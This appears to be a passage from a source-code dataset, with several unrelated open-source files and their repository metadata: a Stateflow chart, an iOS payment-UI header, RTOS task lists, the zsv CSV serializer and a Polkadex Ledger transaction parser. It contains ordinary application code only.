chartInstance->chartInfo.initializeChart = sf_opaque_initialize_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.terminateChart = sf_opaque_terminate_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.enableChart = sf_opaque_enable_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.disableChart = sf_opaque_disable_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.getSimState = sf_opaque_get_sim_state_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.setSimState = sf_opaque_set_sim_state_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.getSimStateInfo = sf_get_sim_state_info_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.zeroCrossings = NULL; chartInstance->chartInfo.outputs = NULL; chartInstance->chartInfo.derivatives = NULL; chartInstance->chartInfo.mdlRTW = mdlRTW_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.mdlStart = mdlStart_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.mdlSetWorkWidths = mdlSetWorkWidths_c8_AtomicGloveBradImitateSmile; chartInstance->chartInfo.extModeExec = NULL; chartInstance->chartInfo.restoreLastMajorStepConfiguration = NULL; chartInstance->chartInfo.restoreBeforeLastMajorStepConfiguration = NULL; chartInstance->chartInfo.storeCurrentConfiguration = NULL; chartInstance->chartInfo.debugInstance = sfGlobalDebugInstanceStruct; chartInstance->S = S; crtInfo->instanceInfo = (&(chartInstance->chartInfo)); crtInfo->isJITEnabled = false; ssSetUserData(S,(void *)(crtInfo)); /* register the chart instance with simstruct */ init_dsm_address_info(chartInstance); if (!sim_mode_is_rtw_gen(S)) { } sf_opaque_init_subchart_simstructs(chartInstance->chartInfo.chartInstance); chart_debug_initialization(S,1); } void c8_AtomicGloveBradImitateSmile_method_dispatcher(SimStruct *S, int_T method, void *data) { switch (method) { case SS_CALL_MDL_START: mdlStart_c8_AtomicGloveBradImitateSmile(S); break; case SS_CALL_MDL_SET_WORK_WIDTHS: mdlSetWorkWidths_c8_AtomicGloveBradImitateSmile(S); break; case SS_CALL_MDL_PROCESS_PARAMETERS: mdlProcessParameters_c8_AtomicGloveBradImitateSmile(S); break; default: /* Unhandled method */ sf_mex_error_message("Stateflow Internal Error:\n" "Error calling c8_AtomicGloveBradImitateSmile_method_dispatcher.\n" "Can't handle method %d.\n", method); break; } }
35.893855
126
0.740856
2fe3e21bb258bd9858b6126933ca9cc638656f6d
902
h
C
IngenicoConnectExample/ICPickerViewTableViewCell.h
Ingenico-ePayments/connect-sdk-client-ios-example
f8162d25aaca8e1f53ac5188aa6a256edd4f04d8
[ "MIT" ]
4
2017-09-22T09:54:03.000Z
2018-12-20T10:21:24.000Z
IngenicoConnectExample/ICPickerViewTableViewCell.h
Ingenico-ePayments/connect-sdk-client-ios-example
f8162d25aaca8e1f53ac5188aa6a256edd4f04d8
[ "MIT" ]
null
null
null
IngenicoConnectExample/ICPickerViewTableViewCell.h
Ingenico-ePayments/connect-sdk-client-ios-example
f8162d25aaca8e1f53ac5188aa6a256edd4f04d8
[ "MIT" ]
3
2017-07-16T01:22:40.000Z
2020-01-24T16:05:16.000Z
// // ICPickerViewTableViewCell.h // IngenicoConnectExample // // Created for Ingenico ePayments on 15/12/2016. // Copyright © 2017 Global Collect Services. All rights reserved. // #import <IngenicoConnectExample/ICTableViewCell.h> #import <IngenicoConnectExample/ICPickerView.h> #import <IngenicoConnectSDK/ICValueMappingItem.h> #import <IngenicoConnectSDK/ICPaymentProductField.h> #import <UIKit/UIKit.h> #import <UIKit/UIPickerView.h> @interface ICPickerViewTableViewCell : ICTableViewCell { BOOL _readonly; } + (NSString *)reuseIdentifier; @property (strong, nonatomic) NSArray<ICValueMappingItem *> *items; @property (strong, nonatomic) NSObject<UIPickerViewDelegate> *delegate; @property (strong, nonatomic) NSObject<UIPickerViewDataSource> *dataSource; @property (assign, nonatomic) NSInteger selectedRow; @property (assign, nonatomic) BOOL readonly; +(NSUInteger)pickerHeight; @end
31.103448
75
0.791574
2fe7812a3f6263f5dc20e8bd2352f8fb10aff7bf
6,508
c
C
SharedPacks/nxRTOS/Source/common_core/src/rtos_tcb_live_list.c
nxrtos/communityNxRTOS_Demo
4043339450eed06e2f05991fbc40078de4d70ca9
[ "MIT" ]
null
null
null
SharedPacks/nxRTOS/Source/common_core/src/rtos_tcb_live_list.c
nxrtos/communityNxRTOS_Demo
4043339450eed06e2f05991fbc40078de4d70ca9
[ "MIT" ]
null
null
null
SharedPacks/nxRTOS/Source/common_core/src/rtos_tcb_live_list.c
nxrtos/communityNxRTOS_Demo
4043339450eed06e2f05991fbc40078de4d70ca9
[ "MIT" ]
null
null
null
/** ****************************************************************************** * @file : rtos_tcb_list.c * * 1 tab == 2 spaces! ****************************************************************************** */ #include "rtos_tcb_live_list.h" #include "rtos_tcb_base_list.h" LiveTCB_t * pxCurrentLiveTCB = NULL; /// {{{ run2TermListTCB {{{ static LiveTCB_t * pxRun2TermTCBList_Head = NULL; /// }}} run2TermListTCB }}} /// {{{ run2BlckListTCB {{{ static LiveTCB_t * pxRun2BlckTCBList_Head = NULL; #if (RTOS_TCB_DEBUG_TRACE) static int shortLive_TCB_num_trace = 0; #endif /// }}} run2BlckListTCB }}} // in Run2XxxxTCBList, ->xTcbListItem.prev point to lower priority of TCB LiveTCB_t * removeTCBFromRun2BlckTCBList(LiveTCB_t * theTCB) #if 0 { if(theTCB != NULL) { // TODO, more check to make sure theTCB is in the Run2BlckTCBList LiveTCB_t * refTCB; refTCB = (LiveTCB_t *)theTCB->xTcbListItem.prev; if(refTCB != NULL) { refTCB->xTcbListItem.next = theTCB->xTcbListItem.next; } refTCB = (LiveTCB_t *)theTCB->xTcbListItem.next; if(refTCB != NULL) { refTCB->xTcbListItem.prev = theTCB->xTcbListItem.prev; } else { // this means theTCB is the HEAD if(theTCB != pxRun2BlckTCBList_Head) { while(1); } else { // update new pxRun2BlckTCBList_Head pxRun2BlckTCBList_Head = (LiveTCB_t *)theTCB->xTcbListItem.prev; } } } return theTCB; } #else { // use unified TCBList method LiveTCB_t * retTCB; SysCriticalLevel_t origCriticalLevel = arch4rtos_iGetSysCriticalLevel(); // {{{ critical section enter {{{ arch4rtos_iRaiseSysCriticalLevel(RTOS_SYSCRITICALLEVEL); #if (RTOS_TCB_DEBUG_TRACE) shortLive_TCB_num_trace--; #endif retTCB = (LiveTCB_t *)pxRemoveFromTCBList((BaseTCB_t * *)&pxRun2BlckTCBList_Head, (BaseTCB_t *)theTCB); arch4rtos_iDropSysCriticalLevel(origCriticalLevel); // }}} critical section end }}} return retTCB; } #endif LiveTCB_t * insertTCBToRun2BlckTCBList(LiveTCB_t * theTCB) #if 0 { if(theTCB != NULL) { if(pxRun2BlckTCBList_Head == NULL) { pxRun2BlckTCBList_Head = theTCB; theTCB->xTcbListItem.next = NULL; theTCB->xTcbListItem.prev = NULL; } else { LiveTCB_t * refTCB; refTCB = pxRun2BlckTCBList_Head; do { if(refTCB->uxPriority > theTCB->uxPriority) { // add theTCB before refTCB theTCB->xTcbListItem.next = refTCB->xTcbListItem.next; theTCB->xTcbListItem.prev = refTCB; refTCB->xTcbListItem.next = theTCB; if(refTCB == pxRun2BlckTCBList_Head) { // new pxRun2BlckTCBList_Head pxRun2BlckTCBList_Head = theTCB; } if(theTCB->xTcbListItem.next != NULL) { refTCB = (LiveTCB_t *)theTCB->xTcbListItem.next; refTCB->xTcbListItem.prev = theTCB; } break; } else // if(refTCB->uxPriority <= theTCB->uxPriority) { // move refTCB to .prev if(refTCB->xTcbListItem.prev != NULL) { refTCB = (LiveTCB_t *)refTCB->xTcbListItem.prev; } else { // add theTCB after refTCB aka the last in the RunXxxList theTCB->xTcbListItem.next = refTCB; theTCB->xTcbListItem.prev = refTCB->xTcbListItem.prev; // NULL refTCB->xTcbListItem.prev = theTCB; break; } } }while(1); } } return theTCB; } #else { LiveTCB_t * retTCB; SysCriticalLevel_t origCriticalLevel = arch4rtos_iGetSysCriticalLevel(); // {{{ critical section enter {{{ arch4rtos_iRaiseSysCriticalLevel(RTOS_SYSCRITICALLEVEL); #if (RTOS_TCB_DEBUG_TRACE) shortLive_TCB_num_trace++; #endif retTCB = (LiveTCB_t *)pxInsertToTCBList((BaseTCB_t * *)&pxRun2BlckTCBList_Head, (BaseTCB_t *)theTCB); arch4rtos_iDropSysCriticalLevel(origCriticalLevel); // }}} critical section end }}} return retTCB; } #endif LiveTCB_t * pushRun2TermListTCB(LiveTCB_t * toList) #if 0 { if(toList == pxRun2TermTCBList_Head) { return toList; while(1); } if(toList != NULL) { toList->xTcbListItem.prev = NULL; toList->xTcbListItem.next = pxRun2TermTCBList_Head; if(pxRun2TermTCBList_Head != NULL) { // for Run2TermTCBList it is not necessary but just for consistent // to Run2TermTCBList and debug pxRun2TermTCBList_Head->xTcbListItem.prev = toList; } pxRun2TermTCBList_Head = toList; } return toList; } #elif 0 { return (LiveTCB_t *)pushToTCBList((BaseTCB_t * *)&pxRun2TermTCBList_Head, (BaseTCB_t *)toList); } #else { return (LiveTCB_t *)pxInsertToTCBList((BaseTCB_t * *)&pxRun2TermTCBList_Head, (BaseTCB_t *)toList); } #endif LiveTCB_t * popRun2TermListTCB() #if 01 { LiveTCB_t * theTCB = pxRun2TermTCBList_Head; if(theTCB != NULL) { pxRun2TermTCBList_Head = (LiveTCB_t *)theTCB->xTcbListItem.next; if(NULL != pxRun2TermTCBList_Head) { pxRun2TermTCBList_Head->xTcbListItem.prev =NULL; } } return theTCB; } #elif 0 { // use unified TCBList method return (LiveTCB_t *)popFromTCBList((BaseTCB_t * *)&pxRun2TermTCBList_Head); } #else { // use unified TCBList method return (LiveTCB_t *)pxRemoveFromTCBList((BaseTCB_t * *)&pxRun2TermTCBList_Head, (BaseTCB_t *)pxRun2TermTCBList_Head); } #endif LiveTCB_t * getCurrentRun2TermTCB() { return pxRun2TermTCBList_Head; } LiveTCB_t * getCurrentRun2BlkTCB() { return pxRun2BlckTCBList_Head; } LiveTCB_t * getCurrentTCB() { return pxCurrentLiveTCB; } LiveTCB_t * updateCurrentTCB() { if(NULL == pxRun2TermTCBList_Head) { pxCurrentLiveTCB = pxRun2BlckTCBList_Head; } else if (NULL == pxRun2BlckTCBList_Head) { pxCurrentLiveTCB = pxRun2TermTCBList_Head; } else { if(pxRun2TermTCBList_Head->uxPriority < pxRun2BlckTCBList_Head->uxPriority) { pxCurrentLiveTCB = pxRun2TermTCBList_Head; } else if(pxRun2TermTCBList_Head->uxPriority > pxRun2BlckTCBList_Head->uxPriority) { pxCurrentLiveTCB = pxRun2BlckTCBList_Head; } else // if(pxCurrentLiveTCB != pxRun2BlckTCBList_Head) { pxCurrentLiveTCB = pxRun2TermTCBList_Head; } } return pxCurrentLiveTCB; }
25.224806
84
0.625538
2fe91800d2ebd4ec67e7fb5bf923312634801dfe
165
h
C
extern/bossa/src/usleep.h
SKAARHOJ/bossajs
a6e88640d63415fd7452091b545348ceff2a8b67
[ "BSD-3-Clause" ]
1
2019-05-11T06:24:28.000Z
2019-05-11T06:24:28.000Z
extern/bossa/src/usleep.h
SKAARHOJ/bossajs
a6e88640d63415fd7452091b545348ceff2a8b67
[ "BSD-3-Clause" ]
null
null
null
extern/bossa/src/usleep.h
SKAARHOJ/bossajs
a6e88640d63415fd7452091b545348ceff2a8b67
[ "BSD-3-Clause" ]
null
null
null
#include <chrono> #include <thread> // Replacement for sleep void inline usleep(int length) { std::this_thread::sleep_for(std::chrono::milliseconds(length)); }
18.333333
67
0.727273
2fec88dc8370c14ca8b2a38c9e6a714920337f8b
10,607
c
C
app/serialize.c
liquidaty/zsv
193e437feb35cc1faea3a7ea70f92a3f32577e18
[ "MIT" ]
44
2021-12-19T15:28:09.000Z
2022-03-30T02:56:22.000Z
app/serialize.c
liquidaty/zsv
193e437feb35cc1faea3a7ea70f92a3f32577e18
[ "MIT" ]
5
2022-01-18T17:40:15.000Z
2022-03-18T05:31:56.000Z
app/serialize.c
liquidaty/zsv
193e437feb35cc1faea3a7ea70f92a3f32577e18
[ "MIT" ]
3
2022-01-16T07:24:21.000Z
2022-01-23T23:12:00.000Z
/* * Copyright (C) 2021 Liquidaty and zsv contributors. All rights reserved. * * This file is part of zsv/lib, distributed under the MIT license as defined at * https://opensource.org/licenses/MIT */ #include <zsv.h> #include <zsv/utils/writer.h> #include <zsv/utils/signal.h> #include <zsv/utils/arg.h> #include <stdio.h> #include <stdlib.h> #define _GNU_SOURCE 1 #include <string.h> #include <ctype.h> #ifndef HAVE_MEMMEM # include <zsv/utils/memmem.h> #endif #ifndef STRING_LIB_INCLUDE #include <zsv/utils/string.h> #else #include STRING_LIB_INCLUDE #endif struct serialize_header_name { struct serialize_header_name *next; unsigned char *str; }; struct output_header_name { unsigned char *str; unsigned char *output_str; size_t output_len; }; struct serialize_data { FILE *in; zsv_csv_writer csv_writer; zsv_parser parser; unsigned char *row_id; char row_id_quoted; unsigned int current_row_index; unsigned int current_col_index; struct serialize_header_name *temp_header_names; struct output_header_name *header_names; unsigned int col_count; size_t output_row_count; char *err_msg; struct { const char *value; unsigned char *value_lc; // only used if case_insensitive is set size_t len; unsigned char case_insensitive:1; unsigned char entire:1; unsigned dummy:6; } filter; }; struct output_header_name *get_output_header_name(struct serialize_data *data, unsigned i) { if(i < data->col_count && data->header_names) return &data->header_names[i]; return NULL; } static void serialize_cell(void *hook, unsigned char *utf8_value, size_t len) { struct serialize_data *data = hook; if(data->err_msg) return; char quoted = zsv_quoted(data->parser); if(data->current_row_index == 0) { struct serialize_header_name *h = calloc(1, sizeof(*h)); if(!h) asprintf(&data->err_msg, "Out of memory!"); else { if((h->str = malloc(1 + len))) { memcpy(h->str, utf8_value, len); h->str[len] = '\0'; } h->next = data->temp_header_names; data->temp_header_names = h; } if(data->current_col_index == 0) { // write header zsv_writer_cell(data->csv_writer, 1, utf8_value, len, quoted); zsv_writer_cell(data->csv_writer, 0, (const unsigned char *)"Column", strlen("Column"), 0); zsv_writer_cell(data->csv_writer, 0, (const unsigned char *)"Value", strlen("Value"), 0); } } else if(data->current_col_index == 0) { if(data->row_id) free(data->row_id); if((data->row_id = malloc(1 + len))) { memcpy(data->row_id, utf8_value, len); data->row_id[len] = '\0'; } data->row_id_quoted = quoted; } else if(data->current_col_index < data->col_count) { char skip = 0; if(data->filter.value) { if(data->filter.case_insensitive) { if(data->filter.entire) { // case-insensitive, exact / entire-cell. skip if not equal int err = 0; skip = zsv_strincmp(utf8_value, len, (const unsigned char *)data->filter.value, data->filter.len); if(err) { skip = 1; fprintf(stderr, "Ignoring invalid utf8: %.*s\n", (int)len, utf8_value); } } else { // case-insensitive, not-entire-cell. skip if not contains if(data->filter.value_lc) { unsigned char *tmp = zsv_strtolowercase(utf8_value, &len); if(tmp) { skip = !zsv_strstr(tmp, data->filter.value_lc); free(tmp); } } } } else { if(data->filter.entire) // case-sensitive, exact / entire-cell. skip if not equal skip = !(len == data->filter.len && !memcmp(utf8_value, data->filter.value, len)); else // case-sensitive, not-entire-cell. skip if not contains skip = !memmem(utf8_value, len, data->filter.value, data->filter.len); } } if(!skip) { // write tuple struct output_header_name *header_name = get_output_header_name(data, data->current_col_index); // write row ID zsv_writer_cell(data->csv_writer, 1, data->row_id, strlen((char *)data->row_id), data->row_id_quoted); // write column name zsv_writer_cell(data->csv_writer, 0, header_name->output_str, header_name->output_len, 0); // write cell value zsv_writer_cell(data->csv_writer, 0, utf8_value, len, quoted); } } data->current_col_index++; } static void serialize_overflow(void *hook, unsigned char *utf8_value, size_t len) { (void)(hook); struct serialize_data *data = hook; if(data->err_msg) return; fprintf(stderr, "overflow! %.*s\n", (int)len, utf8_value); } static void serialize_row(void *hook) { struct serialize_data *data = hook; if(data->err_msg) return; if(data->current_row_index == 0) { if(!data->current_col_index) asprintf(&data->err_msg, "No columns read in first row; aborting\n"); else { data->col_count = data->current_col_index; data->header_names = calloc(data->col_count, sizeof(*data->header_names)); unsigned int i = 0, j = data->col_count; for(struct serialize_header_name *hn = data->temp_header_names; hn; hn = hn->next, i++, j--) { if((data->header_names[j-1].str = hn->str)) { if((data->header_names[j-1].output_str = zsv_writer_str_to_csv(hn->str, strlen((char *)hn->str)))) data->header_names[j-1].output_len = strlen((char *)data->header_names[j-1].output_str); } hn->str = NULL; } } } if(data->row_id) { free(data->row_id); data->row_id = NULL; } data->current_row_index++; data->current_col_index = 0; } static void serialize_error(void *hook, enum zsv_status status, const unsigned char *err_msg, size_t err_msg_len, unsigned char bad_c, size_t cum_scanned_length) { struct serialize_data *data = hook; if(data->err_msg) return; (void)(status); (void)(err_msg_len); fprintf(stderr, "%s (%c) at %zu\n", err_msg, bad_c, cum_scanned_length); } #ifndef APPNAME #define APPNAME "serialize" #endif const char *serialize_usage_msg[] = { APPNAME ": Serialize a CSV file into Row/Colname/Value triplets", "", "Usage: " APPNAME " [<filename>]", "Serializes a CSV file", "", "Options:", " -b: output with BOM", " -f <value>, --filter <value>: only output cells with text that contains the given value", " -i, --case-insensitive: use case-insensitive match for the filter value", " -e, --entire: match the entire cell's content", NULL }; static int serialize_usage() { for(int i = 0; serialize_usage_msg[i]; i++) fprintf(stderr, "%s\n", serialize_usage_msg[i]); return 1; } static void serialize_cleanup(struct serialize_data *data) { zsv_writer_delete(data->csv_writer); if(data->in && data->in != stdin) fclose(data->in); if(data->filter.value_lc) free(data->filter.value_lc); struct serialize_header_name *next; for(struct serialize_header_name *hn = data->temp_header_names; hn; hn = next) { next = hn->next; if(hn->str) free(hn->str); free(hn); } if(data->header_names) { for(unsigned int i = 0; i < data->col_count; i++) { if(data->header_names[i].str) free(data->header_names[i].str); if(data->header_names[i].output_str) free(data->header_names[i].output_str); } free(data->header_names); } if(data->err_msg) free(data->err_msg); if(data->row_id) free(data->row_id); if(data->in && data->in != stdin) fclose(data->in); } #ifndef MAIN #define MAIN main #endif int MAIN(int argc, const char *argv[]) { if(argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) { serialize_usage(); return 0; } else { INIT_CMD_DEFAULT_ARGS(); struct zsv_opts opts = zsv_get_default_opts(); struct zsv_csv_writer_options writer_opts = zsv_writer_get_default_opts(); struct serialize_data data = { 0 }; int err = 0; for(int arg_i = 1; !err && arg_i < argc; arg_i++) { const char *arg = argv[arg_i]; if(!strcmp(arg, "-f") || !strcmp(arg, "--filter")) { if(arg_i + 1 < argc) data.filter.value = argv[++arg_i]; else { fprintf(stderr, "filter option requires a value\n"); err = 1; } } else if(!strcmp(arg, "-i") || !strcmp(arg, "--case-insensitive")) data.filter.case_insensitive = 1; else if(!strcmp(arg, "-e") || !strcmp(arg, "--entire")) data.filter.entire = 1; else if(!strcmp(argv[arg_i], "-b")) writer_opts.with_bom = 1; else if(data.in) { err = 1; fprintf(stderr, "Input file specified twice, or unrecognized argument: %s\n", argv[arg_i]); } else if(!(data.in = fopen(argv[arg_i], "rb"))) { err = 1; fprintf(stderr, "Could not open for reading: %s\n", argv[arg_i]); } } if(data.filter.value) { data.filter.len = strlen(data.filter.value); if(data.filter.case_insensitive) data.filter.value_lc = zsv_strtolowercase((const unsigned char *)data.filter.value, &data.filter.len); } if(!data.in) { #ifdef NO_STDIN fprintf(stderr, "Please specify an input file\n"); err = 1; #else data.in = stdin; #endif } if(err) { serialize_cleanup(&data); return 1; } opts.cell = serialize_cell; opts.row = serialize_row; opts.overflow = serialize_overflow; opts.error = serialize_error; opts.stream = data.in; opts.ctx = &data; data.parser = zsv_new(&opts); data.csv_writer = zsv_writer_new(&writer_opts); if(!data.parser || !data.csv_writer) { serialize_cleanup(&data); return 1; } // create a local csv writer buff for faster performance unsigned char writer_buff[64]; zsv_writer_set_temp_buff(data.csv_writer, writer_buff, sizeof(writer_buff)); // process the input data zsv_handle_ctrl_c_signal(); enum zsv_status status; while(!zsv_signal_interrupted && (status = zsv_parse_more(data.parser)) == zsv_status_ok) ; if(data.err_msg) fprintf(stderr, "Error: %s\n", data.err_msg); zsv_finish(data.parser); zsv_delete(data.parser); serialize_cleanup(&data); } return 0; }
28.82337
108
0.615914
2fedf5047b87d46f028c03f92674136025da2e5c
995
h
C
OpenGL/src/Renderer/Camera.h
shachar1236/Minecraft-clone-OpenGL
d09e91facf31d637493def6892185c5d8639541d
[ "MIT" ]
null
null
null
OpenGL/src/Renderer/Camera.h
shachar1236/Minecraft-clone-OpenGL
d09e91facf31d637493def6892185c5d8639541d
[ "MIT" ]
null
null
null
OpenGL/src/Renderer/Camera.h
shachar1236/Minecraft-clone-OpenGL
d09e91facf31d637493def6892185c5d8639541d
[ "MIT" ]
null
null
null
#pragma once #include "Core/Core.h" #include "Logic/Entity.h" #include <glm/glm.hpp> class Camera : public Logic::Entity { public: const bool isDrawble = false; Camera(const float& fov, const float& aspect_ratio); virtual ~Camera() override {}; virtual void Setup() override; virtual void Update(const float& deltaTime); glm::mat4 getViewProjectionMatrix() const; glm::mat4 getProjectionMatrix() const; virtual void setPosition(const glm::vec3& pos); virtual void lookAt(const glm::vec3& front); void recalculateProjectionViewMatrix(); virtual void cursorPositionEventHandler(const double& xpos, const double& ypos) override; private: glm::mat4 view; glm::mat4 proj; glm::mat4 viewProj; glm::vec3 position; glm::vec3 cameraFront; glm::vec3 cameraUp; static std::shared_ptr<spdlog::logger> logger; // temporery bool firstMove = true; float pitch; float yaw; float lastX; float lastY; };
21.630435
93
0.683417
2fedfbc7690a5552347c8fa99002b3ad70790ff7
159,050
c
C
app/src/substrate_dispatch_V2.c
Polkadex-Substrate/ledger-polkadex
573f7b684cef64e1ea84a7dfa5329a04125db6c8
[ "Apache-2.0" ]
null
null
null
app/src/substrate_dispatch_V2.c
Polkadex-Substrate/ledger-polkadex
573f7b684cef64e1ea84a7dfa5329a04125db6c8
[ "Apache-2.0" ]
null
null
null
app/src/substrate_dispatch_V2.c
Polkadex-Substrate/ledger-polkadex
573f7b684cef64e1ea84a7dfa5329a04125db6c8
[ "Apache-2.0" ]
null
null
null
/******************************************************************************* * (c) 2019 Zondax GmbH * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ********************************************************************************/ #include "substrate_dispatch_V2.h" #include "substrate_strings.h" #include "zxmacros.h" #include <stdint.h> __Z_INLINE parser_error_t _readMethod_balances_transfer_V2( parser_context_t* c, pd_balances_transfer_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->dest)) CHECK_ERROR(_readCompactBalance(c, &m->value)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_bond_V2( parser_context_t* c, pd_staking_bond_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->controller)) CHECK_ERROR(_readCompactBalanceOf(c, &m->value)) CHECK_ERROR(_readRewardDestination_V2(c, &m->payee)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_unbond_V2( parser_context_t* c, pd_staking_unbond_V2_t* m) { CHECK_ERROR(_readCompactBalanceOf(c, &m->value)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_validate_V2( parser_context_t* c, pd_staking_validate_V2_t* m) { CHECK_ERROR(_readValidatorPrefs_V2(c, &m->prefs)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_nominate_V2( parser_context_t* c, pd_staking_nominate_V2_t* m) { CHECK_ERROR(_readVecLookupSource_V2(c, &m->targets)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_chill_V2( parser_context_t* c, pd_staking_chill_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_rebond_V2( parser_context_t* c, pd_staking_rebond_V2_t* m) { CHECK_ERROR(_readCompactBalanceOf(c, &m->value)) return parser_ok; } #ifdef SUBSTRATE_PARSER_FULL __Z_INLINE parser_error_t _readMethod_system_fill_block_V2( parser_context_t* c, pd_system_fill_block_V2_t* m) { CHECK_ERROR(_readPerbill_V2(c, &m->_ratio)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_system_remark_V2( parser_context_t* c, pd_system_remark_V2_t* m) { CHECK_ERROR(_readBytes(c, &m->_remark)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_system_set_heap_pages_V2( parser_context_t* c, pd_system_set_heap_pages_V2_t* m) { CHECK_ERROR(_readu64(c, &m->pages)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_system_set_code_V2( parser_context_t* c, pd_system_set_code_V2_t* m) { CHECK_ERROR(_readBytes(c, &m->code)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_system_set_code_without_checks_V2( parser_context_t* c, pd_system_set_code_without_checks_V2_t* m) { CHECK_ERROR(_readBytes(c, &m->code)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_system_remark_with_event_V2( parser_context_t* c, pd_system_remark_with_event_V2_t* m) { CHECK_ERROR(_readBytes(c, &m->remark)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_timestamp_set_V2( parser_context_t* c, pd_timestamp_set_V2_t* m) { CHECK_ERROR(_readCompactMoment_V2(c, &m->now)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_indices_claim_V2( parser_context_t* c, pd_indices_claim_V2_t* m) { CHECK_ERROR(_readAccountIndex_V2(c, &m->index)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_indices_free_V2( parser_context_t* c, pd_indices_free_V2_t* m) { CHECK_ERROR(_readAccountIndex_V2(c, &m->index)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_indices_force_transfer_V2( parser_context_t* c, pd_indices_force_transfer_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->new_)) CHECK_ERROR(_readAccountIndex_V2(c, &m->index)) CHECK_ERROR(_readbool(c, &m->freeze)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_indices_freeze_V2( parser_context_t* c, pd_indices_freeze_V2_t* m) { CHECK_ERROR(_readAccountIndex_V2(c, &m->index)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_balances_set_balance_V2( parser_context_t* c, pd_balances_set_balance_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->who)) CHECK_ERROR(_readCompactBalance(c, &m->new_free)) CHECK_ERROR(_readCompactBalance(c, &m->new_reserved)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_balances_force_transfer_V2( parser_context_t* c, pd_balances_force_transfer_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->source)) CHECK_ERROR(_readLookupSource_V2(c, &m->dest)) CHECK_ERROR(_readCompactBalance(c, &m->value)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_balances_transfer_keep_alive_V2( parser_context_t* c, pd_balances_transfer_keep_alive_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->dest)) CHECK_ERROR(_readCompactBalance(c, &m->value)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_balances_transfer_all_V2( parser_context_t* c, pd_balances_transfer_all_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->dest)) CHECK_ERROR(_readbool(c, &m->keep_alive)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_bond_extra_V2( parser_context_t* c, pd_staking_bond_extra_V2_t* m) { CHECK_ERROR(_readCompactBalanceOf(c, &m->max_additional)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_withdraw_unbonded_V2( parser_context_t* c, pd_staking_withdraw_unbonded_V2_t* m) { CHECK_ERROR(_readu32(c, &m->num_slashing_spans)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_set_payee_V2( parser_context_t* c, pd_staking_set_payee_V2_t* m) { CHECK_ERROR(_readRewardDestination_V2(c, &m->payee)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_set_controller_V2( parser_context_t* c, pd_staking_set_controller_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->controller)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_set_validator_count_V2( parser_context_t* c, pd_staking_set_validator_count_V2_t* m) { CHECK_ERROR(_readCompactu32(c, &m->new_)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_increase_validator_count_V2( parser_context_t* c, pd_staking_increase_validator_count_V2_t* m) { CHECK_ERROR(_readCompactu32(c, &m->additional)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_force_no_eras_V2( parser_context_t* c, pd_staking_force_no_eras_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_force_new_era_V2( parser_context_t* c, pd_staking_force_new_era_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_set_invulnerables_V2( parser_context_t* c, pd_staking_set_invulnerables_V2_t* m) { CHECK_ERROR(_readVecAccountId_V2(c, &m->invulnerables)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_force_unstake_V2( parser_context_t* c, pd_staking_force_unstake_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->stash)) CHECK_ERROR(_readu32(c, &m->num_slashing_spans)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_force_new_era_always_V2( parser_context_t* c, pd_staking_force_new_era_always_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_cancel_deferred_slash_V2( parser_context_t* c, pd_staking_cancel_deferred_slash_V2_t* m) { CHECK_ERROR(_readEraIndex_V2(c, &m->era)) CHECK_ERROR(_readVecu32(c, &m->slash_indices)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_payout_stakers_V2( parser_context_t* c, pd_staking_payout_stakers_V2_t* m) { 